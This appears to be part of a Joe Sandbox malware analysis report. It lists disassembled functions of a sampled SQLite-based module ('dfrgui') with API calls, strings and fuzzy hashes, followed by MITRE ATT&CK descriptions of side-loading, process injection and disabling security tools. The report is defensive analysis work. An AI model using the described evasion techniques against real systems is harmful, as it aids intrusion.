Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave$sqlite3_configsqlite3_initializestrcmp
String ID:
API String ID: 2933023327-0
Opcode ID: 106758cad55237184e8648a95b0c3fd67c5914402b3b1377488dd18f7f672032
Instruction ID: 6bb4c20809af056ce1147ca89e03c2938013f81e4c45bf3795f6f6211ed55a12
Opcode Fuzzy Hash: 106758cad55237184e8648a95b0c3fd67c5914402b3b1377488dd18f7f672032
Instruction Fuzzy Hash: 23F09671A093515BDB006FE5C4C151BBBA8ABC9A59F55843CE9448B345D730D89187E1

Function 61E37B5F Relevance: 6.0, APIs: 4, Instructions: 34COMMON

Download Yara Rule

APIs

sqlite3_vmprintf.SQLITE3 ref: 61E37B78

Part of subcall function 61E34E96: sqlite3_initialize.SQLITE3 ref: 61E34E9C

sqlite3_mprintf.SQLITE3 ref: 61E37B96

Part of subcall function 61E35932: sqlite3_initialize.SQLITE3 ref: 61E35938
Part of subcall function 61E35932: sqlite3_vmprintf.SQLITE3 ref: 61E35952

sqlite3_free.SQLITE3 ref: 61E37BA2

Part of subcall function 61E09B73: sqlite3_mutex_enter.SQLITE3 ref: 61E09B92

sqlite3_free.SQLITE3 ref: 61E37BAA

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_initializesqlite3_vmprintf$sqlite3_mprintfsqlite3_mutex_enter
String ID:
API String ID: 2126213637-0
Opcode ID: 362a7a5131d46ebd1b0033c55cd15092979ad2ebbb7f11161d9b8524aee24ced
Instruction ID: 25eb49d64be489812a0feae17e364d7d1cfdcab0b927614458e10bd34b2f04a8
Opcode Fuzzy Hash: 362a7a5131d46ebd1b0033c55cd15092979ad2ebbb7f11161d9b8524aee24ced
Instruction Fuzzy Hash: 53F05E71A097659BD740BFAD948045EBFE8EEC4664F65882EE989C7300E730C800CBA6

Function 61E38A59 Relevance: 6.0, APIs: 4, Instructions: 32COMMON

Download Yara Rule

APIs

sqlite3_value_pointer.SQLITE3 ref: 61E38A70

Part of subcall function 61E0E47C: strcmp.MSVCRT ref: 61E0E4AA

sqlite3_mprintf.SQLITE3 ref: 61E38A89

Part of subcall function 61E35932: sqlite3_initialize.SQLITE3 ref: 61E35938
Part of subcall function 61E35932: sqlite3_vmprintf.SQLITE3 ref: 61E35952

sqlite3_result_error.SQLITE3 ref: 61E38A9F
sqlite3_free.SQLITE3 ref: 61E38AA7

Part of subcall function 61E09B73: sqlite3_mutex_enter.SQLITE3 ref: 61E09B92

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_freesqlite3_initializesqlite3_mprintfsqlite3_mutex_entersqlite3_result_errorsqlite3_value_pointersqlite3_vmprintfstrcmp
String ID:
API String ID: 2416658597-0
Opcode ID: b352af5d1d43001a4e6118784846a0df159998c746de05695d26f4c62e880ffc
Instruction ID: b3492d9bddd622dd00bf2f8d46bb435889c42229029205639411c97f5ae70e10
Opcode Fuzzy Hash: b352af5d1d43001a4e6118784846a0df159998c746de05695d26f4c62e880ffc
Instruction Fuzzy Hash: D2F05EB050C7119BC7416F6D848161ABBE4EF893A4F60CA6CE0DCCB381D370C4919B82

Function 61E88B1E Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

sqlite3_initialize.SQLITE3 ref: 61E88B25

Part of subcall function 61E17C24: sqlite3_mutex_enter.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17C5B
Part of subcall function 61E17C24: sqlite3_config.SQLITE3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,61E21F32), ref: 61E17C8F
Part of subcall function 61E17C24: sqlite3_mutex_leave.SQLITE3(?,?,?,?,?,?,00000000,?,?,?,61E1E712), ref: 61E17F58

sqlite3_mutex_enter.SQLITE3 ref: 61E88B3D
sqlite3_free.SQLITE3 ref: 61E88B4A

Part of subcall function 61E09B73: sqlite3_mutex_enter.SQLITE3 ref: 61E09B92

sqlite3_mutex_leave.SQLITE3 ref: 61E88B66

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_enter$sqlite3_mutex_leave$sqlite3_configsqlite3_freesqlite3_initialize
String ID:
API String ID: 3512769177-0
Opcode ID: 1e277e1cc8a1425b3196755d028112d479df71f9d818c304692c2b02406d21a7
Instruction ID: c3dc9a078684b698013cacd526e8ce89ce4a7b2c2564aea4ef454f56fa541adf
Opcode Fuzzy Hash: 1e277e1cc8a1425b3196755d028112d479df71f9d818c304692c2b02406d21a7
Instruction Fuzzy Hash: 5FE0DFB0418F468BCB00BFF9C084309B6F8BB8270DF51492CC64A8B301E770C0608B52

Function 61E7618E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 149COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E761D7
sqlite3_mutex_leave.SQLITE3 ref: 61E766C7

Part of subcall function 61E5EE52: sqlite3_strnicmp.SQLITE3 ref: 61E5EEDE

Strings

lWa, xrefs: 61E762A9

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leavesqlite3_strnicmp
String ID: lWa
API String ID: 100587609-1862734881
Opcode ID: 821503550eb637cb68f92cc47a6bb66112c18ebb95fefdce289759c34dfb9633
Instruction ID: 143df54d75fa4420bdb9b5192d89d11a1bb9bf96a97a3d942496f7e74b1e94c7
Opcode Fuzzy Hash: 821503550eb637cb68f92cc47a6bb66112c18ebb95fefdce289759c34dfb9633
Instruction Fuzzy Hash: CB61F874A4435A9BEB20DF69C984799BBB0AB89308F20C4AAD81997351D734DE85CF80

Function 61E17A2D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 131COMMON

Download Yara Rule

Strings

ua, xrefs: 61E17AD5

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_log
String ID: ua
API String ID: 632333372-1430901121
Opcode ID: fa11c2048534c2c56745c4e60b264e5b550c5e2f9cf6ee9a73b31a95fc0108ce
Instruction ID: 44237b86c6ad651e1272de2b2679b300dd06ce40763b927a0cfaca64242f503e
Opcode Fuzzy Hash: fa11c2048534c2c56745c4e60b264e5b550c5e2f9cf6ee9a73b31a95fc0108ce
Instruction Fuzzy Hash: 325103B4A19A05EFDB40CF5EC48264D77A1F70FB54F24C82AED198B348E330DA818B52

Function 61E06FD5 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 101COMMON

Download Yara Rule

APIs

sqlite3_strnicmp.SQLITE3 ref: 61E0701F

Strings

', xrefs: 61E0705E
null, xrefs: 61E07015

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_strnicmp
String ID: '$null
API String ID: 1961171630-2611297978
Opcode ID: a1b2d44fd352f59d863dbbcbec7358514ac8da4ec226eab95ec4f5abcb2ee662
Instruction ID: f1ebc9ab8d71ef792f8759f348f0cfaba99aa5cdd83797c5509fe2389a8b138b
Opcode Fuzzy Hash: a1b2d44fd352f59d863dbbcbec7358514ac8da4ec226eab95ec4f5abcb2ee662
Instruction Fuzzy Hash: 0131DC28F486864EF700C9B4C4A5393FBD35B8635BF78C365C1C54A38AE525D8A54342

Function 61E26EBE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 91COMMON

Download Yara Rule

APIs

sqlite3_win32_is_nt.SQLITE3 ref: 61E26EF8

Part of subcall function 61E1759B: InterlockedCompareExchange.KERNEL32 ref: 61E175BB
Part of subcall function 61E1759B: InterlockedCompareExchange.KERNEL32 ref: 61E17602
Part of subcall function 61E1759B: InterlockedCompareExchange.KERNEL32 ref: 61E17622

Part of subcall function 61E17525: sqlite3_win32_sleep.SQLITE3 ref: 61E1757D

sqlite3_free.SQLITE3 ref: 61E26FC3

Strings

winDelete, xrefs: 61E26F9D

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: CompareExchangeInterlocked$sqlite3_freesqlite3_win32_is_ntsqlite3_win32_sleep
String ID: winDelete
API String ID: 3336177498-3936022152
Opcode ID: 756453012e03aa2d1c7cddd2834e3f4f86bf9e80ee8c2bff39c0119a48baf332
Instruction ID: 92fe3e7a3a3fcca52e3f8a0be4d162aecf04f5e09f6a9b3cf71736c4c8e4bb13
Opcode Fuzzy Hash: 756453012e03aa2d1c7cddd2834e3f4f86bf9e80ee8c2bff39c0119a48baf332
Instruction Fuzzy Hash: B731B670A086868BFF015FE5C5A0A5E7AB5EF4E358F70C719EC5097384D734C8828B92

Function 61E89F40 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 81memoryCOMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 61E89FD0
VirtualProtect.KERNEL32 ref: 61E8A012

Strings

@, xrefs: 61E89FFB

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: Virtual$ProtectQuery
String ID: @
API String ID: 1027372294-2766056989
Opcode ID: eafeafb4ccc9d04e12b93a645499c82aef18d6a707cb809083bcb403d8da0804
Instruction ID: 69e38bb49d745cba92c23a08cf0c190fefaaa2e1434ea224b8a21b48753cd00a
Opcode Fuzzy Hash: eafeafb4ccc9d04e12b93a645499c82aef18d6a707cb809083bcb403d8da0804
Instruction Fuzzy Hash: C4318DB2905B018FD790DF69C58461ABBE0FB84354F69C91DE95D873A0E334E885CB92

Function 61E03DDC Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 58COMMON

Download Yara Rule

APIs

sqlite3_stricmp.SQLITE3(00000000,?,?,61E5E5C6), ref: 61E03E56

Strings

sqlite_temp_master, xrefs: 61E03E5D
sqlite_master, xrefs: 61E03E3B

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_stricmp
String ID: sqlite_master$sqlite_temp_master
API String ID: 912767213-3047539776
Opcode ID: 0c073ee5c96dcba8c92df61a5250414ccf3addf8a1f90108f50615dd7fcde0c1
Instruction ID: 338e4502d5418fe0ef639f3e4b1d2a0bc40da92462bfd84696022d1b450fb1d3
Opcode Fuzzy Hash: 0c073ee5c96dcba8c92df61a5250414ccf3addf8a1f90108f50615dd7fcde0c1
Instruction Fuzzy Hash: 22118272A003128FAB00DFADC98095BBBF4FF88349B258569EC24DB305D370D92287A1

Function 61E1EAA1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON

Download Yara Rule

APIs

sqlite3_aggregate_context.SQLITE3 ref: 61E1EABA
sqlite3_value_numeric_type.SQLITE3 ref: 61E1EAC6

Strings

, xrefs: 61E1EAAF

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_aggregate_contextsqlite3_value_numeric_type
String ID:
API String ID: 3265351223-3916222277
Opcode ID: 04c0678c264c8c12a0e7256b8ba52233778c730497580e5ad6c8a8653444e905
Instruction ID: 6a82c2ab7322a0c9b1f8ddee1e035033694e4b22e646b1831d8313ec58ddb9a5
Opcode Fuzzy Hash: 04c0678c264c8c12a0e7256b8ba52233778c730497580e5ad6c8a8653444e905
Instruction Fuzzy Hash: E211A5306086858BDF159FA9D4C16567FF4FF59318F24849CE8858B34AD730C9A0C7A2

Function 61E2619D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3 ref: 61E261E2
sqlite3_mutex_leave.SQLITE3 ref: 61E2621E

Strings

,a, xrefs: 61E261CC

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_entersqlite3_mutex_leave
String ID: ,a
API String ID: 1477753154-370703091
Opcode ID: 6be451845af8069584cd5c24c7357e13048ff224aa3cca023aabb70a8888d18f
Instruction ID: 56986a8078eb7d98f1ece1477e5ba365d9eae86e60eef3cf59c9ae7981711a75
Opcode Fuzzy Hash: 6be451845af8069584cd5c24c7357e13048ff224aa3cca023aabb70a8888d18f
Instruction Fuzzy Hash: A411C0B5A00B059BDF04DF5AE480B9ABBB0FB8A315F14852ADD085B300E335E491CBD1

Function 61E16D11 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37COMMON

Download Yara Rule

APIs

sqlite3_mutex_enter.SQLITE3(?,?,?,61E16D7F), ref: 61E16D29

Strings

`va, xrefs: 61E16D5A
`va, xrefs: 61E16D61

Memory Dump Source

Source File: 00000008.00000002.636796223.0000000061E01000.00000020.00000001.01000000.0000000B.sdmp, Offset: 61E00000, based on PE: true

Associated: 00000008.00000002.636792768.0000000061E00000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636806507.0000000061E8D000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636810381.0000000061E8F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636819386.0000000061E9E000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636823745.0000000061E9F000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636827724.0000000061EA1000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636831226.0000000061EA4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA5000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000008.00000002.636834830.0000000061EA9000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_61e00000_dfrgui.jbxd

Similarity

API ID: sqlite3_mutex_enter
String ID: `va$`va
API String ID: 3053899952-3405698608
Opcode ID: 03c3b3a6c19e1b840c52ce20da285bc41dcea863ccef40fd75c6185c6a7c3d07
Instruction ID: fa04bb672ac3a27eb04f6b0105f89a876318f2672f961cff04bd179322e1a33f
Opcode Fuzzy Hash: 03c3b3a6c19e1b840c52ce20da285bc41dcea863ccef40fd75c6185c6a7c3d07
Instruction Fuzzy Hash: B0F0B47070C2845BEB106EAD88C2B2177D4A74C218FE5C879E555CF749D660DC908791

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
